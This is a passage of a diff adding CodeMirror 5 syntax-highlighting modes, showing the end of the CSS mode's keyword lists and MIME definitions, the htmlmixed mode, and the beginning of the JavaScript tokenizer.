||||
"border-inline-style", "border-inline-width", "content-visibility", "margin-block",
|
||||
"margin-block-end", "margin-block-start", "margin-inline", "margin-inline-end",
|
||||
"margin-inline-start", "overflow-anchor", "overscroll-behavior", "padding-block", "padding-block-end",
|
||||
"padding-block-start", "padding-inline", "padding-inline-end",
|
||||
"padding-inline-start", "scroll-snap-stop", "scrollbar-3d-light-color",
|
||||
"scrollbar-arrow-color", "scrollbar-base-color", "scrollbar-dark-shadow-color",
|
||||
"scrollbar-face-color", "scrollbar-highlight-color", "scrollbar-shadow-color",
|
||||
"scrollbar-track-color", "searchfield-cancel-button", "searchfield-decoration",
|
||||
"searchfield-results-button", "searchfield-results-decoration", "shape-inside", "zoom"
|
||||
], nonStandardPropertyKeywords = keySet(nonStandardPropertyKeywords_);
|
||||
|
||||
var fontProperties_ = [
|
||||
"font-display", "font-family", "src", "unicode-range", "font-variant",
|
||||
"font-feature-settings", "font-stretch", "font-weight", "font-style"
|
||||
], fontProperties = keySet(fontProperties_);
|
||||
|
||||
var counterDescriptors_ = [
|
||||
"additive-symbols", "fallback", "negative", "pad", "prefix", "range",
|
||||
"speak-as", "suffix", "symbols", "system"
|
||||
], counterDescriptors = keySet(counterDescriptors_);
|
||||
|
||||
var colorKeywords_ = [
|
||||
"aliceblue", "antiquewhite", "aqua", "aquamarine", "azure", "beige",
|
||||
"bisque", "black", "blanchedalmond", "blue", "blueviolet", "brown",
|
||||
"burlywood", "cadetblue", "chartreuse", "chocolate", "coral", "cornflowerblue",
|
||||
"cornsilk", "crimson", "cyan", "darkblue", "darkcyan", "darkgoldenrod",
|
||||
"darkgray", "darkgreen", "darkgrey", "darkkhaki", "darkmagenta", "darkolivegreen",
|
||||
"darkorange", "darkorchid", "darkred", "darksalmon", "darkseagreen",
|
||||
"darkslateblue", "darkslategray", "darkslategrey", "darkturquoise", "darkviolet",
|
||||
"deeppink", "deepskyblue", "dimgray", "dimgrey", "dodgerblue", "firebrick",
|
||||
"floralwhite", "forestgreen", "fuchsia", "gainsboro", "ghostwhite",
|
||||
"gold", "goldenrod", "gray", "grey", "green", "greenyellow", "honeydew",
|
||||
"hotpink", "indianred", "indigo", "ivory", "khaki", "lavender",
|
||||
"lavenderblush", "lawngreen", "lemonchiffon", "lightblue", "lightcoral",
|
||||
"lightcyan", "lightgoldenrodyellow", "lightgray", "lightgreen", "lightgrey", "lightpink",
|
||||
"lightsalmon", "lightseagreen", "lightskyblue", "lightslategray", "lightslategrey",
|
||||
"lightsteelblue", "lightyellow", "lime", "limegreen", "linen", "magenta",
|
||||
"maroon", "mediumaquamarine", "mediumblue", "mediumorchid", "mediumpurple",
|
||||
"mediumseagreen", "mediumslateblue", "mediumspringgreen", "mediumturquoise",
|
||||
"mediumvioletred", "midnightblue", "mintcream", "mistyrose", "moccasin",
|
||||
"navajowhite", "navy", "oldlace", "olive", "olivedrab", "orange", "orangered",
|
||||
"orchid", "palegoldenrod", "palegreen", "paleturquoise", "palevioletred",
|
||||
"papayawhip", "peachpuff", "peru", "pink", "plum", "powderblue",
|
||||
"purple", "rebeccapurple", "red", "rosybrown", "royalblue", "saddlebrown",
|
||||
"salmon", "sandybrown", "seagreen", "seashell", "sienna", "silver", "skyblue",
|
||||
"slateblue", "slategray", "slategrey", "snow", "springgreen", "steelblue", "tan",
|
||||
"teal", "thistle", "tomato", "turquoise", "violet", "wheat", "white",
|
||||
"whitesmoke", "yellow", "yellowgreen"
|
||||
], colorKeywords = keySet(colorKeywords_);
|
||||
|
||||
var valueKeywords_ = [
|
||||
"above", "absolute", "activeborder", "additive", "activecaption", "afar",
|
||||
"after-white-space", "ahead", "alias", "all", "all-scroll", "alphabetic", "alternate",
|
||||
"always", "amharic", "amharic-abegede", "antialiased", "appworkspace",
|
||||
"arabic-indic", "armenian", "asterisks", "attr", "auto", "auto-flow", "avoid", "avoid-column", "avoid-page",
|
||||
"avoid-region", "axis-pan", "background", "backwards", "baseline", "below", "bidi-override", "binary",
|
||||
"bengali", "blink", "block", "block-axis", "blur", "bold", "bolder", "border", "border-box",
|
||||
"both", "bottom", "break", "break-all", "break-word", "brightness", "bullets", "button",
|
||||
"buttonface", "buttonhighlight", "buttonshadow", "buttontext", "calc", "cambodian",
|
||||
"capitalize", "caps-lock-indicator", "caption", "captiontext", "caret",
|
||||
"cell", "center", "checkbox", "circle", "cjk-decimal", "cjk-earthly-branch",
|
||||
"cjk-heavenly-stem", "cjk-ideographic", "clear", "clip", "close-quote",
|
||||
"col-resize", "collapse", "color", "color-burn", "color-dodge", "column", "column-reverse",
|
||||
"compact", "condensed", "conic-gradient", "contain", "content", "contents",
|
||||
"content-box", "context-menu", "continuous", "contrast", "copy", "counter", "counters", "cover", "crop",
|
||||
"cross", "crosshair", "cubic-bezier", "currentcolor", "cursive", "cyclic", "darken", "dashed", "decimal",
|
||||
"decimal-leading-zero", "default", "default-button", "dense", "destination-atop",
|
||||
"destination-in", "destination-out", "destination-over", "devanagari", "difference",
|
||||
"disc", "discard", "disclosure-closed", "disclosure-open", "document",
|
||||
"dot-dash", "dot-dot-dash",
|
||||
"dotted", "double", "down", "drop-shadow", "e-resize", "ease", "ease-in", "ease-in-out", "ease-out",
|
||||
"element", "ellipse", "ellipsis", "embed", "end", "ethiopic", "ethiopic-abegede",
|
||||
"ethiopic-abegede-am-et", "ethiopic-abegede-gez", "ethiopic-abegede-ti-er",
|
||||
"ethiopic-abegede-ti-et", "ethiopic-halehame-aa-er",
|
||||
"ethiopic-halehame-aa-et", "ethiopic-halehame-am-et",
|
||||
"ethiopic-halehame-gez", "ethiopic-halehame-om-et",
|
||||
"ethiopic-halehame-sid-et", "ethiopic-halehame-so-et",
|
||||
"ethiopic-halehame-ti-er", "ethiopic-halehame-ti-et", "ethiopic-halehame-tig",
|
||||
"ethiopic-numeric", "ew-resize", "exclusion", "expanded", "extends", "extra-condensed",
|
||||
"extra-expanded", "fantasy", "fast", "fill", "fill-box", "fixed", "flat", "flex", "flex-end", "flex-start", "footnotes",
|
||||
"forwards", "from", "geometricPrecision", "georgian", "grayscale", "graytext", "grid", "groove",
|
||||
"gujarati", "gurmukhi", "hand", "hangul", "hangul-consonant", "hard-light", "hebrew",
|
||||
"help", "hidden", "hide", "higher", "highlight", "highlighttext",
|
||||
"hiragana", "hiragana-iroha", "horizontal", "hsl", "hsla", "hue", "hue-rotate", "icon", "ignore",
|
||||
"inactiveborder", "inactivecaption", "inactivecaptiontext", "infinite",
|
||||
"infobackground", "infotext", "inherit", "initial", "inline", "inline-axis",
|
||||
"inline-block", "inline-flex", "inline-grid", "inline-table", "inset", "inside", "intrinsic", "invert",
|
||||
"italic", "japanese-formal", "japanese-informal", "justify", "kannada",
|
||||
"katakana", "katakana-iroha", "keep-all", "khmer",
|
||||
"korean-hangul-formal", "korean-hanja-formal", "korean-hanja-informal",
|
||||
"landscape", "lao", "large", "larger", "left", "level", "lighter", "lighten",
|
||||
"line-through", "linear", "linear-gradient", "lines", "list-item", "listbox", "listitem",
|
||||
"local", "logical", "loud", "lower", "lower-alpha", "lower-armenian",
|
||||
"lower-greek", "lower-hexadecimal", "lower-latin", "lower-norwegian",
|
||||
"lower-roman", "lowercase", "ltr", "luminosity", "malayalam", "manipulation", "match", "matrix", "matrix3d",
|
||||
"media-play-button", "media-slider", "media-sliderthumb",
|
||||
"media-volume-slider", "media-volume-sliderthumb", "medium",
|
||||
"menu", "menulist", "menulist-button",
|
||||
"menutext", "message-box", "middle", "min-intrinsic",
|
||||
"mix", "mongolian", "monospace", "move", "multiple", "multiple_mask_images", "multiply", "myanmar", "n-resize",
|
||||
"narrower", "ne-resize", "nesw-resize", "no-close-quote", "no-drop",
|
||||
"no-open-quote", "no-repeat", "none", "normal", "not-allowed", "nowrap",
|
||||
"ns-resize", "numbers", "numeric", "nw-resize", "nwse-resize", "oblique", "octal", "opacity", "open-quote",
|
||||
"optimizeLegibility", "optimizeSpeed", "oriya", "oromo", "outset",
|
||||
"outside", "outside-shape", "overlay", "overline", "padding", "padding-box",
|
||||
"painted", "page", "paused", "persian", "perspective", "pinch-zoom", "plus-darker", "plus-lighter",
|
||||
"pointer", "polygon", "portrait", "pre", "pre-line", "pre-wrap", "preserve-3d",
|
||||
"progress", "push-button", "radial-gradient", "radio", "read-only",
|
||||
"read-write", "read-write-plaintext-only", "rectangle", "region",
|
||||
"relative", "repeat", "repeating-linear-gradient", "repeating-radial-gradient",
|
||||
"repeating-conic-gradient", "repeat-x", "repeat-y", "reset", "reverse",
|
||||
"rgb", "rgba", "ridge", "right", "rotate", "rotate3d", "rotateX", "rotateY",
|
||||
"rotateZ", "round", "row", "row-resize", "row-reverse", "rtl", "run-in", "running",
|
||||
"s-resize", "sans-serif", "saturate", "saturation", "scale", "scale3d", "scaleX", "scaleY", "scaleZ", "screen",
|
||||
"scroll", "scrollbar", "scroll-position", "se-resize", "searchfield",
|
||||
"searchfield-cancel-button", "searchfield-decoration",
|
||||
"searchfield-results-button", "searchfield-results-decoration", "self-start", "self-end",
|
||||
"semi-condensed", "semi-expanded", "separate", "sepia", "serif", "show", "sidama",
|
||||
"simp-chinese-formal", "simp-chinese-informal", "single",
|
||||
"skew", "skewX", "skewY", "skip-white-space", "slide", "slider-horizontal",
|
||||
"slider-vertical", "sliderthumb-horizontal", "sliderthumb-vertical", "slow",
|
||||
"small", "small-caps", "small-caption", "smaller", "soft-light", "solid", "somali",
|
||||
"source-atop", "source-in", "source-out", "source-over", "space", "space-around", "space-between", "space-evenly", "spell-out", "square",
|
||||
"square-button", "start", "static", "status-bar", "stretch", "stroke", "stroke-box", "sub",
|
||||
"subpixel-antialiased", "svg_masks", "super", "sw-resize", "symbolic", "symbols", "system-ui", "table",
|
||||
"table-caption", "table-cell", "table-column", "table-column-group",
|
||||
"table-footer-group", "table-header-group", "table-row", "table-row-group",
|
||||
"tamil",
|
||||
"telugu", "text", "text-bottom", "text-top", "textarea", "textfield", "thai",
|
||||
"thick", "thin", "threeddarkshadow", "threedface", "threedhighlight",
|
||||
"threedlightshadow", "threedshadow", "tibetan", "tigre", "tigrinya-er",
|
||||
"tigrinya-er-abegede", "tigrinya-et", "tigrinya-et-abegede", "to", "top",
|
||||
"trad-chinese-formal", "trad-chinese-informal", "transform",
|
||||
"translate", "translate3d", "translateX", "translateY", "translateZ",
|
||||
"transparent", "ultra-condensed", "ultra-expanded", "underline", "unidirectional-pan", "unset", "up",
|
||||
"upper-alpha", "upper-armenian", "upper-greek", "upper-hexadecimal",
|
||||
"upper-latin", "upper-norwegian", "upper-roman", "uppercase", "urdu", "url",
|
||||
"var", "vertical", "vertical-text", "view-box", "visible", "visibleFill", "visiblePainted",
|
||||
"visibleStroke", "visual", "w-resize", "wait", "wave", "wider",
|
||||
"window", "windowframe", "windowtext", "words", "wrap", "wrap-reverse", "x-large", "x-small", "xor",
|
||||
"xx-large", "xx-small"
|
||||
], valueKeywords = keySet(valueKeywords_);
|
||||
|
||||
var allWords = documentTypes_.concat(mediaTypes_).concat(mediaFeatures_).concat(mediaValueKeywords_)
|
||||
.concat(propertyKeywords_).concat(nonStandardPropertyKeywords_).concat(colorKeywords_)
|
||||
.concat(valueKeywords_);
|
||||
CodeMirror.registerHelper("hintWords", "css", allWords);
|
||||
|
||||
function tokenCComment(stream, state) {
|
||||
var maybeEnd = false, ch;
|
||||
while ((ch = stream.next()) != null) {
|
||||
if (maybeEnd && ch == "/") {
|
||||
state.tokenize = null;
|
||||
break;
|
||||
}
|
||||
maybeEnd = (ch == "*");
|
||||
}
|
||||
return ["comment", "comment"];
|
||||
}
|
||||
|
||||
CodeMirror.defineMIME("text/css", {
|
||||
documentTypes: documentTypes,
|
||||
mediaTypes: mediaTypes,
|
||||
mediaFeatures: mediaFeatures,
|
||||
mediaValueKeywords: mediaValueKeywords,
|
||||
propertyKeywords: propertyKeywords,
|
||||
nonStandardPropertyKeywords: nonStandardPropertyKeywords,
|
||||
fontProperties: fontProperties,
|
||||
counterDescriptors: counterDescriptors,
|
||||
colorKeywords: colorKeywords,
|
||||
valueKeywords: valueKeywords,
|
||||
tokenHooks: {
|
||||
"/": function(stream, state) {
|
||||
if (!stream.eat("*")) return false;
|
||||
state.tokenize = tokenCComment;
|
||||
return tokenCComment(stream, state);
|
||||
}
|
||||
},
|
||||
name: "css"
|
||||
});
|
||||
|
||||
CodeMirror.defineMIME("text/x-scss", {
|
||||
mediaTypes: mediaTypes,
|
||||
mediaFeatures: mediaFeatures,
|
||||
mediaValueKeywords: mediaValueKeywords,
|
||||
propertyKeywords: propertyKeywords,
|
||||
nonStandardPropertyKeywords: nonStandardPropertyKeywords,
|
||||
colorKeywords: colorKeywords,
|
||||
valueKeywords: valueKeywords,
|
||||
fontProperties: fontProperties,
|
||||
allowNested: true,
|
||||
lineComment: "//",
|
||||
tokenHooks: {
|
||||
"/": function(stream, state) {
|
||||
if (stream.eat("/")) {
|
||||
stream.skipToEnd();
|
||||
return ["comment", "comment"];
|
||||
} else if (stream.eat("*")) {
|
||||
state.tokenize = tokenCComment;
|
||||
return tokenCComment(stream, state);
|
||||
} else {
|
||||
return ["operator", "operator"];
|
||||
}
|
||||
},
|
||||
":": function(stream) {
|
||||
if (stream.match(/^\s*\{/, false))
|
||||
return [null, null]
|
||||
return false;
|
||||
},
|
||||
"$": function(stream) {
|
||||
stream.match(/^[\w-]+/);
|
||||
if (stream.match(/^\s*:/, false))
|
||||
return ["variable-2", "variable-definition"];
|
||||
return ["variable-2", "variable"];
|
||||
},
|
||||
"#": function(stream) {
|
||||
if (!stream.eat("{")) return false;
|
||||
return [null, "interpolation"];
|
||||
}
|
||||
},
|
||||
name: "css",
|
||||
helperType: "scss"
|
||||
});
|
||||
|
||||
CodeMirror.defineMIME("text/x-less", {
|
||||
mediaTypes: mediaTypes,
|
||||
mediaFeatures: mediaFeatures,
|
||||
mediaValueKeywords: mediaValueKeywords,
|
||||
propertyKeywords: propertyKeywords,
|
||||
nonStandardPropertyKeywords: nonStandardPropertyKeywords,
|
||||
colorKeywords: colorKeywords,
|
||||
valueKeywords: valueKeywords,
|
||||
fontProperties: fontProperties,
|
||||
allowNested: true,
|
||||
lineComment: "//",
|
||||
tokenHooks: {
|
||||
"/": function(stream, state) {
|
||||
if (stream.eat("/")) {
|
||||
stream.skipToEnd();
|
||||
return ["comment", "comment"];
|
||||
} else if (stream.eat("*")) {
|
||||
state.tokenize = tokenCComment;
|
||||
return tokenCComment(stream, state);
|
||||
} else {
|
||||
return ["operator", "operator"];
|
||||
}
|
||||
},
|
||||
"@": function(stream) {
|
||||
if (stream.eat("{")) return [null, "interpolation"];
|
||||
if (stream.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/i, false)) return false;
|
||||
stream.eatWhile(/[\w\\\-]/);
|
||||
if (stream.match(/^\s*:/, false))
|
||||
return ["variable-2", "variable-definition"];
|
||||
return ["variable-2", "variable"];
|
||||
},
|
||||
"&": function() {
|
||||
return ["atom", "atom"];
|
||||
}
|
||||
},
|
||||
name: "css",
|
||||
helperType: "less"
|
||||
});
|
||||
|
||||
CodeMirror.defineMIME("text/x-gss", {
|
||||
documentTypes: documentTypes,
|
||||
mediaTypes: mediaTypes,
|
||||
mediaFeatures: mediaFeatures,
|
||||
propertyKeywords: propertyKeywords,
|
||||
nonStandardPropertyKeywords: nonStandardPropertyKeywords,
|
||||
fontProperties: fontProperties,
|
||||
counterDescriptors: counterDescriptors,
|
||||
colorKeywords: colorKeywords,
|
||||
valueKeywords: valueKeywords,
|
||||
supportsAtComponent: true,
|
||||
tokenHooks: {
|
||||
"/": function(stream, state) {
|
||||
if (!stream.eat("*")) return false;
|
||||
state.tokenize = tokenCComment;
|
||||
return tokenCComment(stream, state);
|
||||
}
|
||||
},
|
||||
name: "css",
|
||||
helperType: "gss"
|
||||
});
|
||||
|
||||
});
|
||||
@@ -0,0 +1,153 @@
|
||||
// CodeMirror, copyright (c) by Marijn Haverbeke and others
|
||||
// Distributed under an MIT license: https://codemirror.net/5/LICENSE
|
||||
|
||||
(function(mod) {
|
||||
if (typeof exports == "object" && typeof module == "object") // CommonJS
|
||||
mod(require("../../lib/codemirror"), require("../xml/xml"), require("../javascript/javascript"), require("../css/css"));
|
||||
else if (typeof define == "function" && define.amd) // AMD
|
||||
define(["../../lib/codemirror", "../xml/xml", "../javascript/javascript", "../css/css"], mod);
|
||||
else // Plain browser env
|
||||
mod(CodeMirror);
|
||||
})(function(CodeMirror) {
|
||||
"use strict";
|
||||
|
||||
var defaultTags = {
|
||||
script: [
|
||||
["lang", /(javascript|babel)/i, "javascript"],
|
||||
["type", /^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^module$|^$/i, "javascript"],
|
||||
["type", /./, "text/plain"],
|
||||
[null, null, "javascript"]
|
||||
],
|
||||
style: [
|
||||
["lang", /^css$/i, "css"],
|
||||
["type", /^(text\/)?(x-)?(stylesheet|css)$/i, "css"],
|
||||
["type", /./, "text/plain"],
|
||||
[null, null, "css"]
|
||||
]
|
||||
};
|
||||
|
||||
function maybeBackup(stream, pat, style) {
|
||||
var cur = stream.current(), close = cur.search(pat);
|
||||
if (close > -1) {
|
||||
stream.backUp(cur.length - close);
|
||||
} else if (cur.match(/<\/?$/)) {
|
||||
stream.backUp(cur.length);
|
||||
if (!stream.match(pat, false)) stream.match(cur);
|
||||
}
|
||||
return style;
|
||||
}
|
||||
|
||||
var attrRegexpCache = {};
|
||||
function getAttrRegexp(attr) {
|
||||
var regexp = attrRegexpCache[attr];
|
||||
if (regexp) return regexp;
|
||||
return attrRegexpCache[attr] = new RegExp("\\s+" + attr + "\\s*=\\s*('|\")?([^'\"]+)('|\")?\\s*");
|
||||
}
|
||||
|
||||
function getAttrValue(text, attr) {
|
||||
var match = text.match(getAttrRegexp(attr))
|
||||
return match ? /^\s*(.*?)\s*$/.exec(match[2])[1] : ""
|
||||
}
|
||||
|
||||
function getTagRegexp(tagName, anchored) {
|
||||
return new RegExp((anchored ? "^" : "") + "<\/\\s*" + tagName + "\\s*>", "i");
|
||||
}
|
||||
|
||||
function addTags(from, to) {
|
||||
for (var tag in from) {
|
||||
var dest = to[tag] || (to[tag] = []);
|
||||
var source = from[tag];
|
||||
for (var i = source.length - 1; i >= 0; i--)
|
||||
dest.unshift(source[i])
|
||||
}
|
||||
}
|
||||
|
||||
function findMatchingMode(tagInfo, tagText) {
|
||||
for (var i = 0; i < tagInfo.length; i++) {
|
||||
var spec = tagInfo[i];
|
||||
if (!spec[0] || spec[1].test(getAttrValue(tagText, spec[0]))) return spec[2];
|
||||
}
|
||||
}
|
||||
|
||||
CodeMirror.defineMode("htmlmixed", function (config, parserConfig) {
|
||||
var htmlMode = CodeMirror.getMode(config, {
|
||||
name: "xml",
|
||||
htmlMode: true,
|
||||
multilineTagIndentFactor: parserConfig.multilineTagIndentFactor,
|
||||
multilineTagIndentPastTag: parserConfig.multilineTagIndentPastTag,
|
||||
allowMissingTagName: parserConfig.allowMissingTagName,
|
||||
});
|
||||
|
||||
var tags = {};
|
||||
var configTags = parserConfig && parserConfig.tags, configScript = parserConfig && parserConfig.scriptTypes;
|
||||
addTags(defaultTags, tags);
|
||||
if (configTags) addTags(configTags, tags);
|
||||
if (configScript) for (var i = configScript.length - 1; i >= 0; i--)
|
||||
tags.script.unshift(["type", configScript[i].matches, configScript[i].mode])
|
||||
|
||||
function html(stream, state) {
|
||||
var style = htmlMode.token(stream, state.htmlState), tag = /\btag\b/.test(style), tagName
|
||||
if (tag && !/[<>\s\/]/.test(stream.current()) &&
|
||||
(tagName = state.htmlState.tagName && state.htmlState.tagName.toLowerCase()) &&
|
||||
tags.hasOwnProperty(tagName)) {
|
||||
state.inTag = tagName + " "
|
||||
} else if (state.inTag && tag && />$/.test(stream.current())) {
|
||||
var inTag = /^([\S]+) (.*)/.exec(state.inTag)
|
||||
state.inTag = null
|
||||
var modeSpec = stream.current() == ">" && findMatchingMode(tags[inTag[1]], inTag[2])
|
||||
var mode = CodeMirror.getMode(config, modeSpec)
|
||||
var endTagA = getTagRegexp(inTag[1], true), endTag = getTagRegexp(inTag[1], false);
|
||||
state.token = function (stream, state) {
|
||||
if (stream.match(endTagA, false)) {
|
||||
state.token = html;
|
||||
state.localState = state.localMode = null;
|
||||
return null;
|
||||
}
|
||||
return maybeBackup(stream, endTag, state.localMode.token(stream, state.localState));
|
||||
};
|
||||
state.localMode = mode;
|
||||
state.localState = CodeMirror.startState(mode, htmlMode.indent(state.htmlState, "", ""));
|
||||
} else if (state.inTag) {
|
||||
state.inTag += stream.current()
|
||||
if (stream.eol()) state.inTag += " "
|
||||
}
|
||||
return style;
|
||||
};
|
||||
|
||||
return {
|
||||
startState: function () {
|
||||
var state = CodeMirror.startState(htmlMode);
|
||||
return {token: html, inTag: null, localMode: null, localState: null, htmlState: state};
|
||||
},
|
||||
|
||||
copyState: function (state) {
|
||||
var local;
|
||||
if (state.localState) {
|
||||
local = CodeMirror.copyState(state.localMode, state.localState);
|
||||
}
|
||||
return {token: state.token, inTag: state.inTag,
|
||||
localMode: state.localMode, localState: local,
|
||||
htmlState: CodeMirror.copyState(htmlMode, state.htmlState)};
|
||||
},
|
||||
|
||||
token: function (stream, state) {
|
||||
return state.token(stream, state);
|
||||
},
|
||||
|
||||
indent: function (state, textAfter, line) {
|
||||
if (!state.localMode || /^\s*<\//.test(textAfter))
|
||||
return htmlMode.indent(state.htmlState, textAfter, line);
|
||||
else if (state.localMode.indent)
|
||||
return state.localMode.indent(state.localState, textAfter, line);
|
||||
else
|
||||
return CodeMirror.Pass;
|
||||
},
|
||||
|
||||
innerMode: function (state) {
|
||||
return {state: state.localState || state.htmlState, mode: state.localMode || htmlMode};
|
||||
}
|
||||
};
|
||||
}, "xml", "javascript", "css");
|
||||
|
||||
CodeMirror.defineMIME("text/html", "htmlmixed");
|
||||
});
|
||||
@@ -0,0 +1,960 @@
|
||||
// CodeMirror, copyright (c) by Marijn Haverbeke and others
|
||||
// Distributed under an MIT license: https://codemirror.net/5/LICENSE
|
||||
|
||||
(function(mod) {
|
||||
if (typeof exports == "object" && typeof module == "object") // CommonJS
|
||||
mod(require("../../lib/codemirror"));
|
||||
else if (typeof define == "function" && define.amd) // AMD
|
||||
define(["../../lib/codemirror"], mod);
|
||||
else // Plain browser env
|
||||
mod(CodeMirror);
|
||||
})(function(CodeMirror) {
|
||||
"use strict";
|
||||
|
||||
CodeMirror.defineMode("javascript", function(config, parserConfig) {
|
||||
var indentUnit = config.indentUnit;
|
||||
var statementIndent = parserConfig.statementIndent;
|
||||
var jsonldMode = parserConfig.jsonld;
|
||||
var jsonMode = parserConfig.json || jsonldMode;
|
||||
var trackScope = parserConfig.trackScope !== false
|
||||
var isTS = parserConfig.typescript;
|
||||
var wordRE = parserConfig.wordCharacters || /[\w$\xa1-\uffff]/;
|
||||
|
||||
// Tokenizer
|
||||
|
||||
var keywords = function(){
|
||||
function kw(type) {return {type: type, style: "keyword"};}
|
||||
var A = kw("keyword a"), B = kw("keyword b"), C = kw("keyword c"), D = kw("keyword d");
|
||||
var operator = kw("operator"), atom = {type: "atom", style: "atom"};
|
||||
|
||||
return {
|
||||
"if": kw("if"), "while": A, "with": A, "else": B, "do": B, "try": B, "finally": B,
|
||||
"return": D, "break": D, "continue": D, "new": kw("new"), "delete": C, "void": C, "throw": C,
|
||||
"debugger": kw("debugger"), "var": kw("var"), "const": kw("var"), "let": kw("var"),
|
||||
"function": kw("function"), "catch": kw("catch"),
|
||||
"for": kw("for"), "switch": kw("switch"), "case": kw("case"), "default": kw("default"),
|
||||
"in": operator, "typeof": operator, "instanceof": operator,
|
||||
"true": atom, "false": atom, "null": atom, "undefined": atom, "NaN": atom, "Infinity": atom,
|
||||
"this": kw("this"), "class": kw("class"), "super": kw("atom"),
|
||||
"yield": C, "export": kw("export"), "import": kw("import"), "extends": C,
|
||||
"await": C
|
||||
};
|
||||
}();
|
||||
|
||||
var isOperatorChar = /[+\-*&%=<>!?|~^@]/;
|
||||
var isJsonldKeyword = /^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;
|
||||
|
||||
function readRegexp(stream) {
|
||||
var escaped = false, next, inSet = false;
|
||||
while ((next = stream.next()) != null) {
|
||||
if (!escaped) {
|
||||
if (next == "/" && !inSet) return;
|
||||
if (next == "[") inSet = true;
|
||||
else if (inSet && next == "]") inSet = false;
|
||||
}
|
||||
escaped = !escaped && next == "\\";
|
||||
}
|
||||
}
|
||||
|
||||
// Used as scratch variables to communicate multiple values without
|
||||
// consing up tons of objects.
|
||||
var type, content;
|
||||
function ret(tp, style, cont) {
|
||||
type = tp; content = cont;
|
||||
return style;
|
||||
}
|
||||
function tokenBase(stream, state) {
|
||||
var ch = stream.next();
|
||||
if (ch == '"' || ch == "'") {
|
||||
state.tokenize = tokenString(ch);
|
||||
return state.tokenize(stream, state);
|
||||
} else if (ch == "." && stream.match(/^\d[\d_]*(?:[eE][+\-]?[\d_]+)?/)) {
|
||||
return ret("number", "number");
|
||||
} else if (ch == "." && stream.match("..")) {
|
||||
return ret("spread", "meta");
|
||||
} else if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
|
||||
return ret(ch);
|
||||
} else if (ch == "=" && stream.eat(">")) {
|
||||
return ret("=>", "operator");
|
||||
} else if (ch == "0" && stream.match(/^(?:x[\dA-Fa-f_]+|o[0-7_]+|b[01_]+)n?/)) {
|
||||
return ret("number", "number");
|
||||
} else if (/\d/.test(ch)) {
|
||||
stream.match(/^[\d_]*(?:n|(?:\.[\d_]*)?(?:[eE][+\-]?[\d_]+)?)?/);
|
||||
return ret("number", "number");
|
||||
} else if (ch == "/") {
|
||||
if (stream.eat("*")) {
|
||||
state.tokenize = tokenComment;
|
||||
return tokenComment(stream, state);
|
||||
} else if (stream.eat("/")) {
|
||||
stream.skipToEnd();
|
||||
return ret("comment", "comment");
|
||||
} else if (expressionAllowed(stream, state, 1)) {
|
||||
readRegexp(stream);
|
||||
stream.match(/^\b(([gimyus])(?![gimyus]*\2))+\b/);
|
||||
return ret("regexp", "string-2");
|
||||
} else {
|
||||
stream.eat("=");
|
||||
return ret("operator", "operator", stream.current());
|
||||
}
|
||||
} else if (ch == "`") {
|
||||
state.tokenize = tokenQuasi;
|
||||
return tokenQuasi(stream, state);
|
||||
} else if (ch == "#" && stream.peek() == "!") {
|
||||
stream.skipToEnd();
|
||||
return ret("meta", "meta");
|
||||
} else if (ch == "#" && stream.eatWhile(wordRE)) {
|
||||
return ret("variable", "property")
|
||||
} else if (ch == "<" && stream.match("!--") ||
|
||||
(ch == "-" && stream.match("->") && !/\S/.test(stream.string.slice(0, stream.start)))) {
|
||||
stream.skipToEnd()
|
||||
return ret("comment", "comment")
|
||||
} else if (isOperatorChar.test(ch)) {
|
||||
if (ch != ">" || !state.lexical || state.lexical.type != ">") {
|
||||
if (stream.eat("=")) {
|
||||
if (ch == "!" || ch == "=") stream.eat("=")
|
||||
} else if (/[<>*+\-|&?]/.test(ch)) {
|
||||
stream.eat(ch)
|
||||
if (ch == ">") stream.eat(ch)
|
||||
}
|
||||
}
|
||||
if (ch == "?" && stream.eat(".")) return ret(".")
|
||||
return ret("operator", "operator", stream.current());
|
||||
} else if (wordRE.test(ch)) {
|
||||
stream.eatWhile(wordRE);
|
||||
var word = stream.current()
|
||||
if (state.lastType != ".") {
|
||||
if (keywords.propertyIsEnumerable(word)) {
|
||||
var kw = keywords[word]
|
||||
return ret(kw.type, kw.style, word)
|
||||
}
|
||||
if (word == "async" && stream.match(/^(\s|\/\*([^*]|\*(?!\/))*?\*\/)*[\[\(\w]/, false))
|
||||
return ret("async", "keyword", word)
|
||||
}
|
||||
return ret("variable", "variable", word)
|
||||
}
|
||||
}
|
||||
|
||||
function tokenString(quote) {
|
||||
return function(stream, state) {
|
||||
var escaped = false, next;
|
||||
if (jsonldMode && stream.peek() == "@" && stream.match(isJsonldKeyword)){
|
||||
state.tokenize = tokenBase;
|
||||
return ret("jsonld-keyword", "meta");
|
||||
}
|
||||
while ((next = stream.next()) != null) {
|
||||
if (next == quote && !escaped) break;
|
||||
escaped = !escaped && next == "\\";
|
||||
}
|
||||
if (!escaped) state.tokenize = tokenBase;
|
||||
return ret("string", "string");
|
||||
};
|
||||
}
|
||||
|
||||
function tokenComment(stream, state) {
|
||||
var maybeEnd = false, ch;
|
||||
while (ch = stream.next()) {
|
||||
if (ch == "/" && maybeEnd) {
|
||||
state.tokenize = tokenBase;
|
||||
break;
|
||||
}
|
||||
maybeEnd = (ch == "*");
|
||||
}
|
||||
return ret("comment", "comment");
|
||||
}
|
||||
|
||||
function tokenQuasi(stream, state) {
|
||||
var escaped = false, next;
|
||||
while ((next = stream.next()) != null) {
|
||||
if (!escaped && (next == "`" || next == "$" && stream.eat("{"))) {
|
||||
state.tokenize = tokenBase;
|
||||
break;
|
||||
}
|
||||
escaped = !escaped && next == "\\";
|
||||
}
|
||||
return ret("quasi", "string-2", stream.current());
|
||||
}
|
||||
|
||||
var brackets = "([{}])";
|
||||
// This is a crude lookahead trick to try and notice that we're
|
||||
// parsing the argument patterns for a fat-arrow function before we
|
||||
// actually hit the arrow token. It only works if the arrow is on
|
||||
// the same line as the arguments and there's no strange noise
|
||||
// (comments) in between. Fallback is to only notice when we hit the
|
||||
// arrow, and not declare the arguments as locals for the arrow
|
||||
// body.
|
||||
function findFatArrow(stream, state) {
|
||||
if (state.fatArrowAt) state.fatArrowAt = null;
|
||||
var arrow = stream.string.indexOf("=>", stream.start);
|
||||
if (arrow < 0) return;
|
||||
|
||||
if (isTS) { // Try to skip TypeScript return type declarations after the arguments
|
||||
